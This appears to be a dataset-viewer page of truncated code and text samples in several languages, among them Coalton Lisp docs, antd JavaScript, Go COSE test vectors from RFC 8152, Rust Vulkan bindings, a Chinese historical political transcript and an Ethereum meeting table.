`coalton-library` パッケージには、Common Lisp での定義と類似した動作をする `unless` と `when` も含まれています。
これらの演算子は、副作用を含む操作を条件分岐するためだけに使用することを推奨します。
```lisp
(coalton-toplevel
(define (f x)
(when (== x 5)
(error "I only wan... | Markdown |
riveUserS3Path` field to specify the location of a file containing a list of users.
/// </summary>
public InputList<string> OneDriveUserList
{
get => _oneDriveUserList ?? (_oneDriveUserList = new InputList<string>());
set => _oneDriveUserList = value;
}
/... | C# |
n} fails : !(${indexableToken[screenMax]}<=${indexableToken[nextScreenMin]})`);
}
}
});
return token;
};
function useResponsiveObserver() {
const [, token] = (0,_theme_internal__WEBPACK_IMPORTED_MODULE_1__["default"])();
const responsiveMap = getResponsiveMap(validateBreakpoints(token));
// To avoid... | JavaScript |
-iconpicker-page-count{display:inline-block;}.layui-iconpicker-page-operate{display:inline-block;float:right;cursor:default;}.layui-iconpicker-page-operate .layui-icon{font-size:12px;cursor:pointer;}.layui-iconpicker-body-page .layui-iconpicker-icon-limit{display:none;}.layui-iconpicker-body-page .layui-iconpicker-icon... | JavaScript |
主义发展的情况,他们的形式是“公”,实际上是“私”,形式是“新”,实际上是“旧”,形式是“社会主义”,实际上是“资本主义”,过去对这些问题不大理解。
</p>
<p>
林彪:形式未变,内容变了,实际上是资本主义。
</p>
<p>
康生:我们过去对苏联从斯大林到赫鲁晓夫领导变修我们比较清楚,文化上也比较清楚,比如叶甫图申科到美国到处受欢迎,对农业上他们有自留地……等,我们也知道一点,对工业就不知道怎么变的了。
</p>
<p>
林彪:把社会主义国家怎么变成资本主义国家,工业,农业,文学艺术各项政策怎么变的,要找人研究一下,怎么复辟的,我们这些到底怎么变的不甚了解,怎样塞这个洞,要研究。昨天同... | HTML |
ernate);
if (lastAlternate == 0) {
iprintf("[Realised!]\n");
realiseEndpoint(ep->bEndpointAddress, ep->wMaxPacketSize, ((ep->bmAttributes & 3) == EA_ISOCHRONOUS)?ISOCHRONOUS:0);
}
break;
};
... | C++ |
= "doc" // 文档
TokenTypeListPermissionMemberSheet = "sheet" // 电子表格
TokenTypeListPermissionMemberFile = "file" // 云空间文件
TokenTypeListPermissionMemberWiki = "wiki" // 知识库节点
TokenTypeListPermissionMemberBitable = "bitable" // 多维表格
TokenTypeListPermissionMemberDocx = "docx" /... | Go |
Bytes("01dca6947bce88bc5790485ac97427342bc35f887d86d65a089377e247e60baa55e4e8501e2ada5724ac51d6909008033ebc10ac999b9d7f5cc2519f3fe1ea1d9475"),
},
},
},
// The following samples are taken from RFC8152 C.7.2.
{
name: "EC2 P-256 private",
data: mustHexToBytes("a6" +
"0102" +
"0258246d65726961646... | Go |
kRenderPassMultiviewCreateInfoKHX`](https://www.khronos.org/registry/vulkan/specs/1.0-extensions/html/vkspec.html#VkRenderPassMultiviewCreateInfoKHX)
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct VkRenderPassMultiviewCreateInfoKHX {
pub sType: vk::VkStructureType,
pub pNext: *const c_void,
pub subpass... | Rust |
, August 11, 2021 15:00 UTC | [Agenda](https://github.com/ethereum-cat-herders/EIPIP/issues/82) | [Notes](All%20EIPIP%20Meetings/Meeting%20039.md) | [Video](https://youtu.be/eo90AIGv3jw) |
38 | Wednesday, July 28, 2021 15:00 UTC | [Agenda](https://github.com/ethereum-cat-herders/EIPIP/issues/79) | [Notes](All%2... | Markdown |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.